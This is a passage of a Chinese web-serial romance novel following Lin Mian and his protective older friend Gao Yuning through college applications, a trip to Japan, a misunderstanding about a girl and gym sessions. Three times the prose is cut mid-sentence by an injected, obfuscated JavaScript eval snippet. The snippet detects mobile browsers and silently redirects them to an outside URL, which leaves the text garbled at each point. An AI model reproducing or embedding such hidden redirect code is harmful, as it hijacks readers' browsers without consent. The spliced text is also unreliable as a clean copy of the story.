理直气壮地胡编乱造了一通根本不存在的人物,林缅又微微抬起眼皮,眼睛还红着,声音小了起来,“哥,你会不会因为这个就不想理我了?” 好像前面说那么多,就只是为了铺垫这一句。 “为什么这么想?”郜屿宁微怔。 林缅吸了一口气,看着郜屿宁,“因为我是同性恋,你怕我会喜欢上你。” 郜屿宁笑了一声,“我这么想是不是太自恋了一点?” 未等郜屿宁说完,林缅身子前倾,用脑袋在郜屿宁的胸口顶了两下,“我说认真的。” 郜屿宁看着埋在胸前的脑袋,微微扯着嘴角,语气松缓下来,“我还说过你考不上江大就不理你了呢。你看我说不管你就能不管你吗?” “我说得不是这种…”但他很快又软了下来,声音有些娇气得发软,“我怕你以后不愿意抱我什么的…可是我们之前经常这样…” 郜屿宁抿住了嘴唇,没有回答。 正好平板上的小圆圈已经转完了,显示了林缅的成绩条。 在林缅背上抚摸的手又用力地搓了搓,郜屿宁看了一眼,对林缅抬了抬下巴,“成绩出来了,还不错。” 林缅的视线将信将疑地移到屏幕上,看到那个数字差点翻着白眼晕过去,“哪里不错啦!”脑袋又重重磕在郜屿宁的胸口。 其实成绩确实不错,只是距离往年江大的分数线还差了不少。 填报志愿就是接下来几天的事情,郜屿宁这几天自然也都在研究林缅的志愿。 倒是林缅向郜屿宁坦白自己的性向之后情绪变得明朗了很多,但也若有似无地越来越黏人。 郜屿宁问了林缅想去的城市、想去的学校、感兴趣的专业,除了得到小少爷强烈想要留在江市的要求,果然没有别的想法了。 提交志愿当晚,林缅躺在沙发上看郜屿宁给他选的志愿,感叹道,“哇塞,光电信息科学与工程!”字正腔圆的读出了这个名称冗长的专业。 郜屿宁抬起眉毛,“你感兴趣?” 林缅傻笑了一下,“不是啊,你不是就是这个专业的嘛,以后期末考试可以帮我复习了。” 郜屿宁无语地扫了他一眼,坐到沙发上。 “我明天要发给我爸看,让他老是看不起我,第一志愿可是江大呢。”林缅把脚跷到郜屿宁腿上,边说边激动地蹬了两脚。 “不知道的还以为录取通知书到门口了呢。”郜屿宁轻笑了一声,按住他乱动的脚,又说道,“我给你爸看过了。” 他象征性地给林佑勤看了林缅的志愿,林佑勤从不指望林缅能有什么大出息,果然只是匆匆扫了一眼说了几句老套的有的没的,就放一边去看文件了。 “他有没有在背后偷偷夸我有出息之类的?”林缅眨了眨眼睛。 郜屿宁被他逗笑了,岔开话题,“你哪儿有出息了?看到成绩就哭鼻子了。” “那我没想到今年卷子难,整体考得都不高嘛…你再笑我就不理你了!”林缅说着又要不安分地抽出脚乱动,但却动弹不了,就像被摁得死死的小虫,继续挣扎了两下却被郜屿宁嘲笑。 “怎么回事?一点劲儿都没有。”郜屿宁拽着他胳膊把他拉起来,捏了一把他的大臂,又摸了摸他的肚子,只有一层薄薄的肌肉,他掐了一把,林缅怕痒地叫起来,倒在了他身上。 林缅扭着身子,故意说,“你又不肯带我去健身。” 健身这一茬之前提都没提过,现在倒变成郜屿宁不肯带他去了。 郜屿宁知道他喜欢无事生非的本事,挑起眉头,顺着他说,“行,等你旅行回来别想逃,敢喊累看我怎么收拾你。” 之前四人组的旅行计划已经确定了,填报完志愿的第二天也就是明天就出发。 林缅脑袋埋在郜屿宁的颈窝里,摸着郜屿宁手臂上的肌肉,发出闷闷的声音,“才不会呢。” “但是我不想练得太大,你这样刚刚好,要是比你再小一点就最好了。”林缅坐直身子看向郜屿宁的胸口,隔着一层薄T恤内里起伏的轮廓还是若隐若现,他边把手掌贴了上去,边一本正经地说。 郜屿宁抬起嘴角,调笑着说,“你做梦呢?你想也练大也练不成。” “少看不起人了。”林缅手还不老实地继续摸着,“我就要练成你这样,还要去打个乳.钉,肯定很好看…”越说声音越低。 “你还挺时髦。”郜屿宁一巴掌拍在林缅的腿上,“行了,行李收拾怎么样了?收拾东西去。” “差不多了。”林缅放下腿,刚准备起身扫了眼准备回工作消息的郜屿宁,舔了舔干涩的嘴唇。 像是做了多大的心理建设,说道,“明天你送我去机场的时候,顺路去接一下徐语常呗。” 郜屿宁还是看着手机,漫不经心地应了一声,“嗯。”回完消息之后,看向林缅说,“我帮你看看行李。” 林缅看着郜屿宁的情绪并没有任何的异样,“哦…” 郜屿宁跟着他回了房间,看见摊开在地上的大行李箱。其实东西并不多,但是有四分之一的位置被一个碍事的皮箱子占着,郜屿宁轻轻踢了一脚,“这你也要带?” “哎呀…这是Faiz的变身器还有手办,我拍照要用的。”林缅护着箱子。 郜屿宁哼笑了一声,“你怎么不说你变身要用呢?” 又说道,“直接拿出来装袋子里,换个小箱子…” “不要,会嗑坏的,这都绝版了,很珍贵的。” “平时到处乱扔,现在倒宝贝起来了,这么大箱子,明天我可不帮你拎。”自从林缅把这些祖宗请回来之后,经常随手摆弄又随手扔,郜屿宁不知道帮他收拾过多少次。 “我自己拎得动。”林缅蹲下身,把东西都码整齐。 “护照什么的都收好了?”郜屿宁检查了一遍他的证件夹。 “嗯!” 晚上答应得好听,第二天还是郜屿宁帮他拖的行李箱。 把死沉的箱子拎进后备箱的时候,郜屿宁说道,“看你去了那儿自己怎么拿。” “我们包车了的,司机师傅会帮我拿。”林缅语气平平地说道,边说边往车前走,走到副驾驶犹豫了一下,还是上了后座。 郜屿宁上了车才发现人在后座,他看着后视镜和林缅对视,“哦,把我也当你司机了?” 林缅愣了一下,解释道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990814|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是,等会让徐语常坐前面…” 郜屿宁没听他胡言乱语,蹙眉说,“坐前面来。” 林缅撇了撇嘴,还是听话地下车上了副驾。 车开到徐语常家别墅院子,大小姐还有她家的保安正好站在门口了,郜屿宁扫了眼后视镜,摁了打开后备箱的按钮。 林缅推了推他,“你下去帮人家搬一下行李呀。” 郜屿宁又看了眼后视镜,她家的保安已经差不多把东西搬完准备关后备箱了。 “真是榆木脑子,献殷勤都不会,怎么追得到女孩儿。”林缅又恨铁不成钢又难过地嘟囔了一句。 “叽里咕噜说什么呢?”郜屿宁问。 说话间,后座的门被打开了,徐语常上了车,大方自然地跟林缅还有郜屿宁打了个招呼。林缅闭了嘴没再跟郜屿宁说话。 郜屿宁应了一声,视线在尽量遮掩自己小情绪的林缅身上停顿了几秒,才扶着方向盘开上主路。 从市区开到机场将近一个多小时,车厢内除了音乐没再有别的声音。 车停进停车场里,郜屿宁拽了拽歪着脑袋的林缅,“到了,别装睡了。” 林缅慢悠悠地睁开眼睛,故意打了个哈欠,看似迟钝地开口,“谁装睡了?” 郜屿宁笑着说,“你睡相什么样我不知道?” 林缅紧张地瞪了他一眼,眼睛往后座飘了一下,“胡说什么呢?” 看着徐语常正好开门下车,没听见他俩的对话才稍稍安心。 两个人一起下车到了后备箱,徐语常虽然带了不少化妆品和衣服裙子,但胜在辣妹穿搭布料少而且都是夏季的,不占地方,一个26寸行李箱足够了。而林缅的东西又没用又碍事,箱子也比她的大和沉。 郜屿宁先把徐语常的箱子拎下来,不等郜屿宁放好来帮他拎箱子,林缅就赶紧凑上前,自己把箱子扛下来,沉得他往后踉跄了两步。 “呼…”林缅喘了口气,看着旁边盯着他的两人,若无其事地说,“走吧。” 徐语常接过自己箱子,视线才从行为异样的林缅身上收回来,林缅就喊了一句,“你帮徐语常推行李吧,我的很轻。” 徐语常回过头,“不用,我的是真轻。”说着就快人一步地推着轻飘飘的箱子加快脚步,往前走了,转了个弯就没影了。看样子是真不想掺合这哥俩的事儿。 郜屿宁伸手要帮林缅推行李,林缅却把箱子移到身子另一侧,“我自己好拿的,你去帮女孩子吧。” “什么时候这么要面子了?” 林缅轻叹了一口气,“不是…你…” 郜屿宁干脆不跟他掰扯,就两手空空地跟着他继续走,两人沉默着走了好一段距离,直到碰到航站楼门口的几级台阶,林缅搓了搓手心准备自己往上抗,箱子就先他一步被抬了起来。 林缅抬起头,看着郜屿宁已经推着他的箱子头也不回地往前走了,林缅加快脚步跟了上去,边说,“哥…我自己能拎动。” 走进航站楼,看到前面不远处徐语常已经和陈灼池景行他们会合了。郜屿宁拍了拍他的肩膀,“去吧,回来时间订好了告诉我。” 林缅点点头,“生日之前一定会回来的。”下个月就是林缅十八岁生日。 “嗯,我记得,会准备礼物。” 林缅朝徐语常的方向看了一眼,又小心翼翼地抬起眼睛看向郜屿宁,“你不去和徐…咳咳,他们 ,打个招呼吗?” 郜屿宁顿了一秒,抱起手臂,“林缅,你神神叨叨一上午发什么神经呢?” “不去算了!我走了!真是带不动你!”林缅怒其不争地说道。 那三人正好把视线都投了过来,林缅准备推着笨箱子去找他们,却被郜屿宁直接抓着手臂拽了回来,因为惯性用力地撞进了郜屿宁的怀里。 林缅闻见一股熟悉的雪松香,挠得他心痒痒的,也越跳越快,郜屿宁抬起手臂揽着他的肩膀,“说哥哥再见。” 林缅闷在他怀里,炸毛的小狗一秒就变得乖顺,声音也闷闷的,“哥哥再见。” 郜屿宁松开手臂,看着林缅的脸蛋变得通红,跟逗小孩儿似的,用冰凉的手背给他降温,抬了抬下巴,笑着说,“去吧。” 17. 第 17 章 上了飞机在自己的座位上坐下,林缅看着亮堂堂的窗外,用手背贴了贴滚烫的脸蛋,深呼了一口气,啪得把遮光板挡上。 正在自拍的徐语常叫了一声,“我的光!” “要起飞了。”林缅看着对着镜头搔首弄姿的徐语常,慢吞吞地开口,“徐语常,你觉得我哥怎么样?” 徐语常沉浸在自己的美貌里,敷衍回答,“挺帅的。” “别的呢?”林缅认真地问。 徐语常把手机朝他抬了抬,示意林缅当他的手机支架,继续对着手机理头发,“还是帅…手别抖!” 林缅举得手酸,换了个手,有点遗憾地说,“帅是我哥最不值一提的优点了。” “行行行,我知道我知道我知道我知道我知道…你哥哪儿都好,不然你也不会黏成那样。”徐语常拍了几张,拿回手机欣赏照片,嘴上配合着他。 林缅赶紧解释道,“其实我跟他平时也不这样,还是挺有自己的空间的,我也不是一直要粘着他,还挺有边界的。”又低声加了一句,“很少会像刚刚那样,抱来抱去。” 徐语常看了眼行迹古怪的林缅,“哦,不是比亲哥还亲吗?现在又不亲了?” “也没有吧,不算太亲。”林缅转过头,扒拉了两下已经关得严丝合缝的遮光板,脸被挡在一片黑黢黢的阴影里,深呼了两口气,扭过头时眼睛红了一圈,一鼓作气地说,“如果你们幸福的话,我会比你们先落泪!” 说完又背过身子,把头靠在遮光板上,一副不想再交流的样子。徐语常莫名其妙地看了他一眼,问空姐要了两条毯子,一条扔在装睡的林缅的脑袋上,一条自己盖着。 “帮我拍不出好看的照片,有你落泪的。”徐语常没理他的胡言乱语,只是警告他。 林缅把头从毛毯里探出来,“改改你这破脾气吧!谁受得了你!” 自从林缅去旅行之后,郜屿宁本以为自己会冷清好一段时间,但是手机一直叮叮咚咚的响个不停。 通常是一连十几张林缅带着变身器的中二打卡照,偶尔也会有一些正儿八经的穿搭颜值都很在线的小帅哥游客照。 在大量的林缅里面会夹杂着少量的徐语常美照,郜屿宁滑到时愣了一下,以为是林缅不小心发错了,直接滑到下一张。 他扫了眼林缅坐在东京塔附近栏杆上的一张照片,小卷毛迎着风被吹了起来,眼睛弯成一条线,笑得肆意明媚,比肩身后的朗朗白云,乖得不行。 郜屿宁回复了一句,“鞋带系好。” 林缅秒回:系好啦! 还附上一张已经把鞋带系成漂亮蝴蝶结的照片。 明明时隔大半个月没见,但再次在机场重逢时,却没觉得隔了太久,可能是因为林缅的消息太过频繁。 毕竟会事无巨细到连omakase的上菜顺序都会跟郜屿宁报备,每天睡觉之前雷打不动地坚持打一个小时电话。 郜屿宁站在接机口,看着林缅出来时,手上又多了一个行李箱,步履艰难地朝他走来,郜屿宁头痛地走过去接过他的行李。 “又是什么?” 林缅回过头跟另外三人道了声别,才跟郜屿宁往前走,一边解释,“这一箱是礼物,给妈妈,还有弟弟的。” “还有呢?” “肯定有你的呀,哥哥。” 郜屿宁笑了出来,“不是,你爸没有?” “才不给他带呢,反正带了也只会说我这不好那不好的。” 林缅站在汽车后面,看着汽车后备箱缓缓升起,偷偷瞄了一眼在帮他搬行李的郜屿宁,开口,“哥,我告诉你一件事情,你别伤心。” 郜屿宁手上还忙活着,转过头看向他,“又闯祸了?你说吧,不揍你。” 林缅松开抿紧的嘴唇,皱起眉毛,“不是,我是想说徐语常的事情…” 郜屿宁继续把箱子往里推了推。 林缅低下头,神色为难,“哥,我们那天在居酒屋吃饭的时候,徐语常认识了一个日本帅哥,他俩已经聊上了…” “跟我说得着吗?”郜屿宁看着面露难色的林缅,顿了一下,“你这什么表情?你不是同…咳…”最后半句话郜屿宁憋了回去。 林缅抬手拍了拍郜屿宁的肩膀,作出安慰的样子,“哥,你要是难过你就说出来…我不会笑话你的…” 郜屿宁的目光在林缅的脸上凝住了,打断他,“林缅,你在发什么神经?” 再迟钝的人也能明白林缅脑子里在想什么了。 “嗯?”林缅抬着头,睁着圆滚滚的眼睛,好像多单纯多无辜似的。 原来林缅不是在朋友面前好面子所以才自己搬行李,才装作自己不那么粘人的样子。明明每晚都是林缅打来的电话,一旦朋友来他房间玩,林缅就会立刻把电话挂掉,好像在努力保持和郜屿宁之间的距离,因为他以为郜屿宁喜欢徐语常,也希望徐语常可以喜欢郜屿宁。 郜屿宁胸口起伏了一下,他不管林缅是从哪里得出来这个莫名其妙的结论的,但已知的事实就是,林缅一旦知道郜屿宁有喜欢的人之后会大度地放手。 “没什么,你先上车,我去抽根烟。”郜屿宁话到嘴边被咽了下去,只是平淡地说道。 把汽车后备箱关上,轻咳了一声。 林缅不想给郜屿宁添堵,看在他失恋的份上勉强允许他抽一根烟,自己先上了车,他看着后视镜里郜屿宁抽烟的身影,心疼地鼻子发酸。 他想起什么似的,从包里掏出从清水寺求来的御守,挂在了后视镜上,还可怜巴巴地抱着手许了个愿。 这个愿望其实他在寺庙里烧香的时候就许过了,希望郜屿宁所愿皆所得,结果第二天就看到徐语常抱着手机跟前一天晚上认识的日本帅哥聊上了。 一点都不灵。心里抱怨着,林缅伸手弹了一下在空中晃悠的挂件。 车门打开,郜屿宁上了车,视线扫过在后视镜下晃悠的东西依旧沉默着,直接启动了汽车。 林缅用手指戳了戳御守,主动说,“这是我在庙里求的,可以保平安。” 郜屿宁扶着方向盘,目视前方,嗯了一声。 林缅觉得郜屿宁情绪不高,轻轻叹了一口气,“本来打算回家送礼物的,我还是多陪你几天吧。” 郜屿宁手随意搭在方向盘上,说道,“不用,我送你回家。” 说完直接点着中控屏幕,把目的地改成了林缅家的别墅。 “诶!我还没说要回家呢!” 郜屿宁没有回答,看了眼导航,直接打了转向灯。 车内只剩下转向灯的提示音,一声一声像是鼓点同时扣在两个人的心脏上。 林缅看了眼他,有些委屈地说,“你也别冲我撒气呀…” “哪里对你撒气了?”郜屿宁皮笑肉不笑地抬起嘴角。 “没有就好…”林缅收回视线,坐直了身子,沉默了一会说道,“那我回家就待两天,我再去你那儿,你答应过我要带我健身的。” “记得。” “我还有礼物没有给你,到时候再一起给你。” “好。” 林缅絮絮叨叨了一路,郜屿宁惜字如金地应答着。 车停在林缅家别墅的门口,张叔站在门口帮林缅搬行李,沈珏也从屋内出来,叫郜屿宁一起留下来吃晚饭。 郜屿宁本想拒绝,但是林缅轻轻晃了晃他的手臂,用只有两个人听到的声音说道,“留下来吃饭吧,我们都那么多天没见了,多跟我待一会儿嘛。” 郜屿宁的喉结滚了一下,视线在林缅期待的表情上停留了片刻,转过头对沈珏礼貌地笑着应了下来。 距离晚饭还有一段时间,林缅准备先回房间收拾行李。但是行李实在太多,张叔本想帮他把行李拿上楼,但林缅却直接把拉杆塞进郜屿宁的手里,对张叔说,“不用了,我哥帮我拿上去就行,不麻烦您了。” 说着拽上郜屿宁的衣袖带他进了电梯,回自己房间。 这一楼层是林缅和林准的房间,林准常年在国外,所以只有林缅一个人住,走在走廊里除了行李箱滚轮的声音,很安静。 在林缅还在上初中的时候,郜屿宁经常来给他送作业,然后再被他留下来问东问西,所以郜屿宁对他的房间并不陌生。 “哥,你随便坐。”说着,自己把两个箱子摊开,蹲在地上开始理东西。 郜屿宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990815|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头,坐在面对了满满一展柜假面骑士的沙发上,林缅又从箱子里拿出两个盒子,拆出两个新的假面骑士手办摆了上去,看样子又是这次旅行新买的。 “怎么样?帅吧!”林缅骄傲地朝郜屿宁挑了挑眉。 郜屿宁看着箱子里之前被林缅丢来丢去的那套变身器,“这你不放起来?” “不要,这个我要带走的。”言下之意是还是要带回郜屿宁家。 “还得跟着你受罪。” 房间的门突然被敲响了,郜屿宁起身去开门,是沈珏端了两杯果汁。 林缅看到是沈珏,喊道,“妈妈,我给你带礼物了。” 沈珏惊喜地笑了起来,郜屿宁接了她手里的果汁,放在茶几上。 林缅拉着沈珏,去看他给沈珏买得限量款包包,沈珏弯着眼睛说,“谢谢宝宝!宝宝是不是谈女朋友了,这么会挑礼物。” 再郜屿宁面前被叫宝宝,林缅有些不好意思,“不是…是徐语常…”说出这个名字,林缅还朝门口的郜屿宁扫了一眼,压低了声音说,“是她推荐给我的。” 郜屿宁看他一副乖宝宝畏畏缩缩的样子,心里竟觉得好笑起来,抱着手臂靠在门口,嘴角带着一抹笑,好整以暇。 沈珏收好礼物正准备出门,林缅又突然说,“妈妈,能不能换个橙汁,我哥他不喜欢西瓜。” 沈珏答应,郜屿宁却说,“不用,我喝的。”直接拿着杯子抬头喝了一口。 沈珏愣了两秒,“哦…”但又看着林缅送她的礼物,满心欢喜地出去了。 郜屿宁重新坐回沙发上,林缅给郜屿宁倒了杯水,皱着眉把水杯递给他,“你不是最讨厌西瓜了吗?干嘛要喝。” 郜屿宁直接开门见山,“你不也是要跟我保持距离吗?” 林缅怔了两秒,紧接着色厉内荏地说道,“那你喜欢人家,我总不能还跟个没出息的跟屁虫一样粘着你吧,谁会跟你在一起呀!我还给你制造那么多机会,你不中用被别人捷足先登了,那我也没办法!” “你还挺大度。”郜屿宁抬了抬嘴角,说。 “那我不大度能怎么办?我要是再这样下去,你以后老婆会嫌我烦,到时候你也会嫌我。”林缅越说越委屈,说得鼻子都发酸了,转过身子侧对着郜屿宁。 “可是你怎么还是这么黏人?” 旅行这么长时间除了睡觉时间郜屿宁的手机没停过、偷偷摸摸睡前给郜屿宁打视频、就连现在一两个小时的晚餐时间林缅都要说“跟我多待一会嘛哥哥”… 郜屿宁拽了一把他的手腕,林缅顺势坐在了他的腿上。 林缅沉默着低下头。 “说话呀,宝宝?”郜屿宁学着沈珏的语气,这样叫他,看他的耳朵变得越来越红,郜屿宁轻轻碰了碰。 林缅吸了吸鼻子,转过头,“那你嫌我了嘛?” 郜屿宁故意说,“有点。” 林缅的眼圈唰一下就变红了,立刻蒙上了一层水雾。 “委屈什么?不是你想要跟我保持距离?生怕我没人要。”郜屿宁又嘲弄地捏了捏他的下巴。 林缅深呼了一口气,擦了擦眼睛,挤出难看的笑脸,“没有委屈呀…” “如果你能跟自己喜欢的人在一起,我也会很开心很开心。” 同频的钝痛在他们两人的胸口像是一点点凿着,蔓延开来。 有一层气泡膜挡在他们的中间,看不清对方的真实面目,听到声响只以为是气泡被捏爆的声音,连对方的心跳都错过了。 就像郜屿宁只看到林缅很大度地愿意把郜屿宁推向他喜欢的人,但是不知道他自己一个人推行李箱的时候很委屈很想哭,也不知道林缅挂掉视频之后躲在被窝里失眠了多少次,也不知道这些叮叮当当响不停的信息已经是林缅纠结和克制过后的结果,更不知道这些很割裂的行迹背后的痛苦和不舍… 因为林缅一直都是一个只是看上去脾气骄纵难搞得要命的小少爷,但是实际上敏感又心软得很,委屈自己也要把所有人照顾得面面俱到。 就比如,他说他讨厌林佑勤,说才不要给林佑勤带礼物,但其实特地送给他爸爸的雪茄还在行李箱最底下藏着呢。 18.第 18 章 吃过晚餐,林缅带着双胞胎先离了桌,坐到地毯上在拆礼物,但耳朵竖着在听着林佑勤和郜屿宁的动静,聊得都是工作上的事情。 交谈结束,郜屿宁准备起身离开,了了客套了几句,径直出来了。林缅赶紧低下头,看似认真地教小孩儿分辨这个是哪个假面骑士,那个是哪个。 但是郜屿宁的脚步声音越来越近,像是一点点踩在他心口,却就这样略过他直接走向了门厅。 就连吴姨都看出来,林缅今天的反常,往日里早就哥哥长哥哥短地送郜助出门了,郜助也不会这样连一个眼神都不留给林缅,形同陌路似的一句话都不说。 两个人就像是闹别扭了。 “郜助慢走。” 吴姨轻叹了一口气,继续鼓捣着手里的大玩具,皱起眉问,“小缅,你送我这个相机怎么用来着?” 郜屿宁脚步微微顿了一下,经过吴姨时微笑示意,还是直接出门了。 林缅的视线落在那道已经关山的大门上,起身追了出去,“吴姨,你等我,等我回来教你。” 林缅推门而出,室外已经是泼墨般的黑色,院子里亮着几盏黄灯,光线悠悠落在郜屿宁的身上,他已经走到车库,闻声抬眼看了过来,眉眼笼在一片阴翳之中。 郜屿宁转了转手里的钥匙,站在原地,林缅拖着步子朝他走过去,气氛有些微妙。 “哥……” 郜屿宁笑了一声,故作平常地说,“你怎么想的?送吴姨宝丽来?” “这是给她小女儿的。”林缅忿忿地解释。除了相机,他连小女孩未来几年的相纸都包圆了。 他又重申了一遍,“你过两天就来接我,你答应要带我健身的。” “不跟我保持距离了?”郜屿宁抬起眉毛,问他。 林缅清了清嗓子,侧过身,也故作轻松地说,“等你真的谈恋爱了再说吧。” 郜屿宁哼笑了一声,说,“倒是你有可能先谈恋爱吧?” 林缅咬了咬嘴唇,都差点忘记之前跟郜屿宁胡诌的那一茬了,微微皱眉并不想提起,低声,“说你呢,扯我干嘛。” 林缅又抬眼看向他,小心翼翼地问,“那你失恋应该也没有很难过吧?” 路灯的光亮映在他的眼睛里,在黑夜里亮晶晶的,郜屿宁视线在他的脸上定了两秒,回答,“当我是你们小孩儿?一天到晚情情爱爱的。” 林缅笑着点了点头,“那就好。”说完看郜屿宁拿出了车钥匙,林缅抱上郜屿宁的胳膊,“那你抱我一下吧。” 郜屿宁不为所动,抬起一侧的嘴角,“说点好听的,我就抱。” “求求你啦,哥哥。”林缅抱着郜屿宁的脖子,撒娇地说,尽力地逗看着心情不太好的郜屿宁开心,“你抱我,我就相信你没有不开心。” 郜屿宁终于肯把手搭到他的背上,又用力地搓了搓。 “行了,赶紧进去吧,吴姨还等你呢。”郜屿宁把人扒拉下来,捏着他的肩膀颠了个面,轻轻踹了一脚林缅的屁股。 被哥哥踹了林缅也开心,他捂着屁股转过身,蹦蹦哒哒地往后跳了几步,“那我走啦,哥。”小卷毛也跟着一蹦一蹦。 分开后,林缅每隔十分钟发一条消息确定郜屿宁有没有陷入失恋泥潭,精神状态是否良好,但好在郜屿宁好像很快就走出来了,都有余力关心他“是不是吃饱了撑的”了。 连郜屿宁对他视而不见从餐厅走向门厅的那一段路,都能成为林缅的噩梦素材,林缅只在家里待了一天就收拾收拾去郜屿宁家了。 林缅嘴上说得积极好听,去找郜屿宁是为了一起健身增强体质,但真到了郜屿宁家里又赖着不肯动了,吵着要等买好新健身包、新护腕、新手套…再说。 郜屿宁知道他德行,看着沙发上的那一滩人说,“给你准备好了,新的。” 林缅放下手机,看了眼郜屿宁,哒哒哒地跑到房间里去看郜屿宁给他准备的东西,确实一应俱全,挑不出任何毛病。 他眼珠子一转,“喝蛋白粉要买新杯子,等我新杯子到了再去吧。” 郜屿宁抱着手靠在门口,一言不发地看着他。 见郜屿宁脸冷了下来,林缅识相地闭上嘴,不甘不愿地背上自己的健身包。 去健身房的路上,林缅还是不死心地说,“算了,今天先办卡吧,下次再健身。” 郜屿宁没搭理他,继续往前走。 只是林缅没想到郜屿宁早就连年卡都帮他办好了,他悻悻地跟在郜屿宁后面。 移动门旁正好站着一位穿着紧身的壮汉,胸肌像是要把衣服撑爆了,下半张脸都是胡茬子,耳垂上的钻石耳钉看着晃眼,看见郜屿宁进门立马走了过来,又看了眼旁边的林缅,声音却温柔殷勤得很,“屿宁,这位就是你弟弟吧?” 郜屿宁牵了牵嘴角,“嗯。” “弟弟是第一次来健身是吧,要不要找个教练带一下呢?” 林缅怕郜屿宁嫌他麻烦要把他塞给别人,刚想开口拒绝,就听到郜屿宁说,“不用了,我陪他。” 大胸肌笑着和他说了几句别的,走之前还笑着对着林缅说了句,“弟弟长得也好帅哦。” 林缅跟着郜屿宁进了更衣室,扭头看着那人的背影,小声说道,“哇哦那个人练得好大哦。” 郜屿宁把包放进柜子里,撇了他一眼,“你喜欢这种的?” 林缅也找到自己的柜子,嗔怒地瞪了眼郜屿宁,“我都说过了,我不喜欢太壮的。而且那个人胡子比头发还密,远看我还以为头长反了呢。” “小嘴什么时候这么毒了?”郜屿宁被他逗笑了,用指节刮了刮他的脸蛋。 说话间,林缅已经把裤子脱了,准备换短裤,正好更衣室的门被打开,大胸肌进来去自己的柜子拿东西,经过他们时朝他们笑了一下,余光若有似无地在他们身上扫了一下。 郜屿宁也抬了抬嘴角,手上却下意识地把只穿着裤衩的林缅往身后拽了一把,林缅抓住他的衣服才勉强站稳,待大胸肌离开更衣室,林缅才从郜屿宁的身后探脑袋出来,“哥,他是不是…” 郜屿宁松开抓住林缅手腕的手,清了清嗓子,“你们同性恋之间不是有什么、达,这你看不出来?” 林缅若有所思道,“看得出来啊,但你护着我干嘛,你应该保护你自己。” 郜屿宁收拾东西的手顿了一下。 林缅继续说,“你不是很懂吗?怎么连他喜欢的是你这种都看不出来。” “什么我这种,我是哪种?”郜屿宁又问,“你又是哪种?” 林缅的视线从郜屿宁五官硬朗、轮廓流畅的脸上离开,语气暗淡,“算了,我跟你说不着,你又不是gay。” 林缅穿好衣服,先人一步地走出了更衣室。 平时郜屿宁一个人健身顶多一个多小时,多了个林缅效率低了不少,又要给他调整姿势,还要督促他再做一组,中间林缅插科打诨要偷懒又花了不少时间。 练三休一,接连几天下来,很讨人喜欢又不定心的太阳花林缅最显著的训练成果就是跟健身房的人都混了熟。 郜屿宁练完卧推,起身找人,看见林缅跟几个小零凑在一起窃窃私语,时不时说几句逗得旁人笑出声来。 还发出了一连串的“滴”声,扫码成功的提示音。 郜屿宁视线从他身上草草掠过,没搭理他,边拆手套边自己走向更衣室,没过两秒,更衣室的门就推开了,林缅抱着水杯递给郜屿宁,“哥你怎么走都不喊我?” 郜屿宁没接水杯,林缅讪讪地自己喝了一口。 上个礼拜还吵着要新包新器具的林缅,现在把手套护腕换洗衣裤什么的都塞在郜屿宁的健身包里不算,连水杯都是共用郜屿宁的。 “看你聊得很开心。”郜屿宁抬手把上衣脱掉,露出结实有力的肌肉,微微沁出汗珠,从光滑的皮肤上滑落。 看郜屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995333|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁要进淋浴间冲澡,林缅赶紧拉住他,“等下呀,直接洗澡会着凉的。” 说着拿干毛巾在郜屿宁背上擦了一把,又走到郜屿宁的面前,目不转睛地帮他擦汗,郜屿宁突然抽走他的手里的毛巾,“正好不能洗澡就先去拉伸吧。” “哦…在这里吗?”林缅不情不愿地问。 平日里两人都是回家用筋膜枪拉伸的,他也最讨厌拉伸了,筋膜枪打得他又麻又酸,疼得他吱哇乱叫。 郜屿宁重新把衣服穿好,带着林缅走出更衣室,去了一间没人的拉伸室。 很快隔音不算好的房间里传出林缅杀猪一般的惨叫,经过的人都忍不住隔着玻璃门的缝隙偷偷朝里望一眼。 林缅趴在垫子上,感觉狼牙棒真的长出来了牙齿,在咬他背上的嫩肉,他想要撑起胳膊挣扎无果,两条腿也乱蹬着,扯着嗓子,“啊啊啊啊啊疼!” “别乱动,林缅。” “不要!我不练了!”林缅喊道。 郜屿宁轻笑了一声,声线沉稳显得林缅更闹腾了,“别叫。” 好不容易拉伸完背部,林缅艰难地拧着身子,泪眼婆娑地要起身,郜屿宁却把他摁住了,“还有腿。” “我不要!腿最疼了!” 以往在家里用有材质柔软的硅胶按摩头他都疼得发抖,更别说这种硬邦邦的狼牙,摩在腿上他得落个残疾,他想着就要逃,艰难地往前爬。 郜屿宁抓住他的脚踝,又拖了回来,声音轻了一些,却一点不觉温柔,“说了别动。” “你故意的!你就是故意的!” 